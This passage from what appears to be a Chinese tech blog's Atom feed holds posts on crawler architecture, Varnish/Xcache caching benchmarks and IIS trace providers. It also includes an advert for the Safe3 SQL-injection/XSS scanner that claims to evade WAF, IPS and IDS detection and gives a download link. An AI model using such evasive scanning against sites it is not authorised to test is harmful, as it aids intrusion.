&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;类似于通用的抓取架构，本文提到的抓取系统架构如下图：&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;a style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; color: rgb(13,155,193); text-decoration: none; padding-top: 0px" href="http://www.searchtb.com/wp-content/uploads/2011/07/archicture1.png"&gt;&lt;img style="border-bottom: rgb(221,221,221) 1px solid; text-align: center; border-left: rgb(221,221,221) 1px solid; padding-bottom: 5px; background-color: rgb(243,243,243); margin: 10px; padding-left: 5px; padding-right: 5px; border-top: rgb(221,221,221) 1px solid; border-right: rgb(221,221,221) 1px solid; padding-top: 4px; border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-left-radius: 3px 3px"  alt="" src="http://www.searchtb.com/wp-content/uploads/2011/07/archicture1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;一个完整的抓取数据流：&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;1：用户提供种子URL&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;2：种子URL进入linkbase中新URL队列中&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;3：调度模块选取url进入到抓取模块的待抓取队列中&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;4：抓取模块读取站点的配置文件，按照执行的频率进行抓取&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;5：抓取的结果返回到pipeline接口中，并完成连接的抽取&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;6：新发现的连接在linkbase里面进行dedup，并push到linkbase的新URL模块里面&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;7：调度模块选取url进入抓取模块的待抓取队列，goto 4&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;8：end&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;&lt;br style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px" /&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;系统扩展&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px"&gt;&lt;span style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; font-family: 微软雅黑; padding-top: 0px"&gt;本文提到的抓取系统，核心是调度和存储模块；其中，抓取，存储，调度都是通过数据进行交互的，因此，模块之间可以任意平行扩展，对于系统规模来说，只需要平行扩展mysql和redis存储服务集群以及抓取集群即可。当然，简单的扩展会带来一些问题：比如垃圾列表页的泛滥，链接库的膨胀等等问题，这些问题后续在讨论吧。&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;img src="http://www.cnblogs.com/Safe3/aggbug/2217961.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Safe3/archive/2011/10/19/2217961.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Safe3/archive/2011/08/05/2128175.html</id><title type="text">Safe3 Web漏洞扫描系统 v9.6免费版</title><summary type="text">Safe3 Web漏洞扫描系统是安全伞网络推出的网站安全检测工具，传统的方法往往依靠渗透测试（黑箱、白箱测试），往往局限于测试人员的技术水准高低。软件界面截图目前，大多是采用一系列已知攻击手段进行手工检测，且工作量巨大，由于时间关系以及各类网站系统的复杂性程度不同，通常得不到真正有效的评估，国内能从事此类工作的技术人员往往较少，用户最终得到的评估报告往往仅是找到几个系统已知漏洞、某个注入点或者跨站脚本攻击漏洞等常规漏洞。由于评估人员的知识面局限性使得整体评估不够全面，且深度不足。网站的应用逐步增多，更新较快，每隔一段时间应做一次全面检测，若采用传统渗透测试方法，花费昂贵，且往往得不到真正意义上</summary><published>2011-08-05T01:44:00Z</published><updated>2011-08-05T01:44:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/08/05/2128175.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/08/05/2128175.html"/><content type="html">&lt;div style="text-align: center" align="left"&gt;&lt;span style="font-size: 13px; line-height: 18px; font-family: Tahoma, Verdana"&gt;Safe3 Web漏洞扫描系统是安全伞网络推出的网站安全检测工具，传统的方法往往依靠渗透测试&lt;span  style="font-size: 14px; line-height: 21px; font-family: verdana, 'courier new'"&gt;&lt;span  style="font-size: 13px; line-height: 18px; font-family: Tahoma, Verdana"&gt;（黑箱、白箱测试），往往局限于测试人员的技术水准高低。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div style="text-align: center"&gt;&lt;span style="font-size: 13px; line-height: 18px; font-family: Tahoma, Verdana"&gt;&lt;span  style="font-size: 14px; line-height: 21px; font-family: verdana, 'courier new'"&gt;&lt;span  style="font-size: 13px; line-height: 18px; font-family: Tahoma, Verdana"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&amp;nbsp;&lt;/div&gt;&#xD;
&lt;div style="text-align: center"&gt;&lt;span style="font-size: 13px; line-height: 18px; font-family: Tahoma, Verdana"&gt;&lt;span  style="font-size: 14px; line-height: 21px; font-family: verdana, 'courier new'"&gt;&lt;span  style="font-size: 13px; line-height: 18px; font-family: Tahoma, Verdana"&gt;&lt;/span&gt;&#xD;
&lt;div align="center"&gt;&lt;img height="543" alt="" src="http://images.cnblogs.com/cnblogs_com/safe3/1.jpg" width="721" /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;p style="text-align: center"&gt;软件界面截图&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span  style="font-size: 13px; line-height: 18px; font-family: Tahoma, Verdana"&gt;&amp;nbsp;目前，大多是采用一系列已知攻击手段进行手工检测，且工作量巨大，由于时间关系以及各类网站系统的复杂性程度不同，通常得不到真正有效的评估，国内能从事此类工作的技术人员往往较少，用户最终得到的评估报告往往仅是找到几个系统已知漏洞、某个注入点或者跨站脚本攻击漏洞等常规漏洞。由于评估人员的知识面局限性使得整体评估不够全面，且深度不足。网站的应用逐步增多，更新较快，每隔一段时间应做一次全面检测，若采用传统渗透测试方法，花费昂贵，且往往得不到真正意义上的风险报告。Safe3 Web Vul&amp;nbsp;Scanner使用领先的智能化爬虫技术及SQL注入状态检测技术，使得相比国内外同类产品智能化程度更高，速度更快，结果更准确。&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span  style="font-size: 13px; line-height: 18px; font-family: Tahoma, Verdana"&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;&#xD;
&lt;div&gt;&lt;span style="font-size: 13px; line-height: 18px; font-family: Tahoma, Verdana"&gt;&#xD;
&lt;p&gt;系统适用领域：&lt;/p&gt;&#xD;
&lt;p&gt;国内金融、证券、银行、电子政务、电子商务、教育、网游、综合行业门户、IDC等网站必备检测工具。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;技术优势：&lt;/p&gt;&#xD;
&lt;p&gt;SQL注入网页抓取&lt;br /&gt;网页抓取模块采用广度优先爬虫技术以及网站目录还原技术。广度优先的爬虫技术的不会产生爬虫陷入的问题，可自定义爬行深度和爬行线程，网站目录还原技术则去除了无关结果，提高抓取效率。并且去掉了参数重复的注入页面，使得效率和可观性有了很大提高。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;SQL注入状态扫描技术&lt;br /&gt;不同于传统的针对错误反馈判断是否存在注入漏洞的方式，而采用状态检测来判断。所谓状态检测，即：针对某一链接输入不同的参数，通过对网站反馈的结果使用向量比较算法进行比对判断，从而确定该链接是否为注入点，此方法不依赖于特定的数据库类型、设置以及CGI语言的种类，对于注入点检测全面，不会产生漏报现象。并且具备绕过WAF、IPS、IDS检测功能，扫描到隐藏的注入点。&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;超线程和内存回收技术&lt;/p&gt;&#xD;
&lt;p&gt;市面上web漏洞扫描系统通常不能完成腾讯、搜狐等类似门户网站的扫描，原因是第一扫描进度非常慢，第二 随着扫描占用系统内存非常高，最终因为系统内存不够而崩溃退出，Safe3 web漏洞扫描系统在这方面表现尤为出色，软件不仅采用线程池等技术保证了很低的CPU占用，还使用自动内存回收功能回收无用的内存，另外软件内部采用独特存储算法，可以在存储千万url地址时扫描速度依然不减，所以如果你的网站非常大，那么Safe3 web漏洞扫描系统是你的首选。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p style="text-align: center"&gt;&lt;img height="597" alt="" src="http://images.cnblogs.com/cnblogs_com/safe3/waf2.jpg" width="846" /&gt;&lt;/p&gt;&#xD;
&lt;p style="text-align: center"&gt;企业扫描报表截图&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;div&gt;&lt;span style="line-height: 25px; font-family: Arial"&gt;&#xD;
&lt;p style="margin: 5px auto; text-indent: 0px"&gt;&lt;span style="word-spacing: 0px; font: medium Simsun; text-transform: none; color: #000000; text-indent: 0px; white-space: normal; letter-spacing: normal; border-collapse: separate; orphans: 2; widows: 2"&gt;&lt;span style="font-size: 10pt; color: #444444; line-height: 22px; font-family: Verdana, Helvetica, Arial, sans-serif; border-collapse: collapse"&gt;&lt;strong style="font-weight: bold; line-height: normal; font-style: normal; text-align: left; word-wrap: break-word"&gt;软件运行需要&lt;a title="safe3wvs" style="color: #333333; line-height: normal; text-decoration: none; word-wrap: break-word" href="http://www.crsky.com/soft/4818.html" target="_blank"&gt;Microsoft .NET Framework v2.0&lt;/a&gt;&lt;/strong&gt;&lt;br style="line-height: normal; word-wrap: break-word" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 5px auto; text-indent: 0px"&gt;&lt;/p&gt;&#xD;
&lt;div&gt;&#xD;
&lt;div&gt;&lt;span style="font-size: 10pt"&gt;新版功能：&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div&gt;&lt;span style="font-size: 10pt"&gt;v9.6&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div&gt;&lt;span style="font-size: 10pt"&gt;1.新增错误模式扫描功能 (适合有报错显示的网站)&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div&gt;&lt;span style="font-size: 10pt"&gt;2.增强企业报表显示&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div&gt;&lt;span style="font-size: 10pt"&gt;3.增强Form智能识别提交功能&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;div&gt;&lt;font  size="3"&gt;&lt;span  style="font-size: 13px"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;span  style="line-height: 25px; font-family: Arial"&gt;&lt;span style="font-size: 10pt"&gt;下载地址：&amp;nbsp;&lt;/span&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; line-height: normal; border-right-width: 0px; word-wrap: break-word" alt="" src="http://t00ls.net/images/attachicons/rar.gif" border="0" /&gt;&amp;nbsp;&lt;a style="color: #1d58d1; text-decoration: none" href="http://www.safe3.com.cn/safe3wvs.rar"&gt;&lt;span style="font-size: 10pt"&gt;http://www.safe3.com.cn/safe3wvs.rar&lt;/span&gt;&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;（&lt;span style="color: red"&gt;免费版支持GET型sql注入和XSS漏洞扫描）&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/Safe3/aggbug/2128175.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Safe3/archive/2011/08/05/2128175.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Safe3/archive/2011/07/22/2113567.html</id><title type="text">Varnish+Xcache构建高性能WEB构架初探</title><summary type="text">本文主要讲述web优化方案和缓存工具的调研及使用。根据目前的测试结果来看，采用varnish+xcache作为 apache和php缓存这种架构具有高并发、高稳定性，易扩展等优点，服务器的动态请求处理能力是之前的7倍之多。通过分析发现，目前对服务器的负载主要是在cpu使用方面，随着流量的增加瓶颈也将出现在cpu方面，而内存和IO方面都不是问题。针对这样的情况，我们就要研究怎么去降低cpu的负载，消除或降低系统的瓶颈。业务特点分析U服务采用的是LAMP(Linux Apache mysql php)架构，而服务本身的逻辑比较简单，就是根据不同的url返回特定的页面内容，而这些页面内容基本是不会变</summary><published>2011-07-22T02:00:00Z</published><updated>2011-07-22T02:00:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/07/22/2113567.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/07/22/2113567.html"/><content type="html">&lt;div&gt;&lt;span style="font-family: Arial; line-height: 20px; color: #333333; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "&gt;&lt;p style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;本文主要讲述web优化方案和缓存工具的调研及使用。根据目前的测试结果来看，采用varnish+xcache作为 apache和&lt;/span&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;php缓存这种架构具有高并发、高稳定性，易扩展等优点，服务器的动态请求处理能力是之前的7倍之多。&lt;/span&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;通过分析发现，&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;目前对服务器的负载主要是在cpu使用方面，随着流量的增加瓶颈也将出现在cpu方面，而内存和IO方面都不是问题。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;针对这样的情况，我们就要研究怎么去降低cpu的负载，消除或降低系统的瓶颈。&lt;br style="line-height: normal; " /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="line-height: normal; "&gt;&lt;table cellspacing="0" cellpadding="0" style="table-layout: auto; line-height: normal; "&gt;&lt;tbody style="line-height: normal; "&gt;&lt;tr style="line-height: normal; "&gt;&lt;td valign="top" style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 14px; line-height: normal; "&gt;&lt;table cellspacing="0" cellpadding="0" width="698" height="2267" style="table-layout: auto; line-height: normal; width: 698px; height: 2267px; "&gt;&lt;tbody style="line-height: normal; "&gt;&lt;tr style="line-height: normal; "&gt;&lt;td valign="top" style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 14px; line-height: normal; "&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;业务特点分析&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;/strong&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;U服务采用的是LAMP(Linux Apache mysql php)架构，而服务本身的逻辑比较简单，就是根据不同的url返回特定的页面内容，而这些页面内容基本是不会变的。整个过程是由php动态完成的，不需 要和其他服务器交互。在一个请求的响应过程中，系统cpu的消耗基本都在php处理上面。我们要做的就是尽量减少php的动态处理。&lt;br style="line-height: normal; " /&gt;&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;优化方案调研&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;/strong&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;性能优化通常的方法是采用缓存策略。根据U服务的业务特点，优化主要从两个方面进行，php缓存和前端缓存，原理图如下：&amp;nbsp;&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/591b1ecdb75c6817f31fe7bd.jpg" width="693" height="311" alt="" /&gt;&lt;br style="line-height: normal; " /&gt;&lt;br style="line-height: normal; " /&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;Php缓存调研&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;/strong&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;每次HTTP请求PHP页面时，PHP代码都会被解析和翻译为操作码（PHP 引擎直接执行的原语指令--类似于汇编语言）再执行。在要求很低或可忽略的情况下，服务器看上去能立即执行这个复杂的解释过程。但是一旦处理的页面增加， 重复工作就会对服务器造成很大的负担。在某些情况下，&amp;#8220;编译&amp;#8221;PHP代码的时间会远远超过执行该代码所需的时间，并且会对服务器负载造成很大压力。Php缓存主要是缓存opcode，避免重复编译PHP代码。目前针对php的内存缓存策略主要有 memcache 、 eAccelerator 、 xcache 和 APC 。Memcache是一种基于网络的缓存策略，是 一个高性能的分布式的内存对象缓存系统，通过在内存里维护一个统一的巨大的hash表，它能够用来存储各种格式的数据，包括图像、视频、文件以及数据库检 索的结果等。从memcache的特点来看，更适合用于分布式数据库和分布式计算领域。光从页面缓存和加速角度来说远不及eAccelerator、 xcache和APC。eAccelerator、 xcache 和 APC 差 不多，都是自由开放源码php加速器，优化和动态内容缓存，能够大大提高php脚本性能。它使得PHP脚本在编译的状态下，对服务器的开销几乎完全消除。 其中xcache是一种比较新的加速器，是eAccelerator的替代产品，更加稳定和高效，目前shifen前端已在使用。&lt;br style="line-height: normal; " /&gt;&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;Http前端缓存调研&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;/strong&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;针对HTTP的内存缓存策略使用得比较多就是 squid 和 varnish 。Squid 是一种在Linux下使用得比较 多的优秀的代理服务器，针对web用户来说，它还是一个高性能的代理缓存服务器，它将数据缓存在内存中，同时也缓存DNS的查询结果，可以加快网络浏览的 速度，提高客户机的访问命中率。Squid是目前使用的最广的HTTP加速器之一，目前在百度使用得还很少。Varnish 是另一种高性能的开源 HTTP加速器。Varnish 的作者Poul-Henning Kamp是FreeBSD的内核开发者之一，他认为现在的计算机比起1975年已经复杂许多。在1975年时，储存媒介只有两种：内存与硬盘。但现在计算 机系统的内存除了主存外，还包括了CPU内的L1、L2，甚至有L3快取。硬盘上也有自己的快取装置，因此Squid Cache自行处理物件替换的架构不可能得知这些情况而做到最佳化，但操作系统可以得知这些情况，所以这部份的工作应该交给操作系统处理，这就是 Varnish cache设计架构。目前国内有些门户网站如新浪，腾讯正在使用。&lt;br style="line-height: normal; " /&gt;&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;缓存工具性能对比及选择&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;/strong&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;测试平台&lt;/span&gt;&lt;/strong&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;： HOST：tc-un-ct00.tc OS： Linux 2.6.9_5-4-0-2 #1 SMP CPU: Intel(R) Xeon(R) CPU 5150 @ 2.66GHz &amp;#215; 4 MEM: 8GB 测试数据 ： jx-rcv00 20081028日18:00 &amp;#8211; 19:00 间的数据 压力工具 ： pfmtest&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;Php缓存工具对比测试&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;/strong&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;几个主流php缓存工具性能对比测试如下：&amp;nbsp;&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/591b1ecdb7526817f31fe7bf.jpg" width="817" height="378" alt="" /&gt;&lt;br style="line-height: normal; " /&gt;&lt;br style="line-height: normal; " /&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;前端缓存工具对比测试&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;/strong&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;apache，squid+apache，varnish+apache 性能对比如下：&amp;nbsp;&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;img src="http://images.cnblogs.com/cnblogs_com/safe3/f947e7daa1571e888c1029b8.jpg" width="818" height="581" alt="" /&gt;&lt;br style="line-height: normal; " /&gt;&lt;br style="line-height: normal; " /&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;测试结论&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;/strong&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;Php缓存工具测试中，xcache在响应时间，cpu占用的方面均有最佳的表现；另一方面，从前端缓存测试结果来看，varnish更适合U服务的全动态服务。&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;strong style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;Varnish及xcache的使用&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;/strong&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;Varnish的使用&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;varnish 工具的介绍及详细使用方法参见&lt;/span&gt;&lt;a href="http://varnish.projects.linpro.no/" style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;http://varnish.projects.linpro.no/&lt;/span&gt;&lt;/a&gt;&lt;br style="line-height: normal; " /&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;Xcache的使用&lt;/span&gt;&lt;br style="line-height: normal; " /&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;Xcache的介绍及详细使用方法参加&lt;/span&gt;&lt;a href="http://xcache.lighttpd.net/" style="line-height: normal; "&gt;&lt;span style="line-height: normal; font-size: 14px; "&gt;http://xcache.lighttpd.net/&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/Safe3/aggbug/2113567.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/Safe3/archive/2011/07/22/2113567.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/Safe3/archive/2011/07/17/2108558.html</id><title type="text">IIS监控请求脚本</title><summary type="text">{3a2a4e84-4c21-4981-ae10-3fda0d9b0f83} 0 5 IIS: WWW Server{06b94d9a-b15e-456e-a4ef-37c984a2cb4b} 0 5 IIS: Active Server Pages (ASP){dd5ef90a-6398-47a4-ad34-4dcecdef795f} 0 5 Universal Listener Trace{a1c2040e-8840-4c31-ba11-9871031a19ea} 0 5 IIS: WWW ISAPI Extension{AFF081FE-0247-4275-9C4E-021F3DC1DA</summary><published>2011-07-17T00:55:00Z</published><updated>2011-07-17T00:55:00Z</updated><author><name>Safe3</name><uri>http://www.cnblogs.com/Safe3/</uri></author><link rel="alternate" href="http://www.cnblogs.com/Safe3/archive/2011/07/17/2108558.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/Safe3/archive/2011/07/17/2108558.html"/><content type="html">&lt;div&gt;&lt;span style="font-family: Verdana, Arial; line-height: 24px; font-size: 12px; color: #626262; "&gt;&lt;div codepanel"="" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f5f5ef; border-top-width: 1px; border-top-style: solid; border-top-color: #e7e7d8; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #e7e7d8; background-position: initial initial; background-repeat: initial initial; "&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 6px; padding-bottom: 6px; padding-left: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: 18px; "&gt;{3a2a4e84-4c21-4981-ae10-3fda0d9b0f83} 0 5 IIS: WWW Server&lt;br /&gt;{06b94d9a-b15e-456e-a4ef-37c984a2cb4b} 0 5 IIS: Active Server Pages (ASP)&lt;br /&gt;{dd5ef90a-6398-47a4-ad34-4dcecdef795f} 0 5 Universal Listener Trace&lt;br /&gt;{a1c2040e-8840-4c31-ba11-9871031a19ea} 0 5 IIS: WWW ISAPI Extension&lt;br /&gt;{AFF081FE-0247-4275-9C4E-021F3DC1DA35} 0 5 IIS: ASP.NET&lt;br /&gt;{d55d3bc9-cba9-44df-827e-132d3a4596c2} 0 5 IIS: Global&lt;br /&gt;{3b7b0b4b-4b01-44b4-a95e-3c755719aebf} 0 5 IIS: Request Monitor&lt;br /&gt;{DC1271C2-A0AF-400f-850C-4E42FE16BE1C} 0 5 IIS: IISADMIN Global&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;以上内容保存为 iistrace.guid&lt;br /&gt;&lt;div codepanel"="" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; 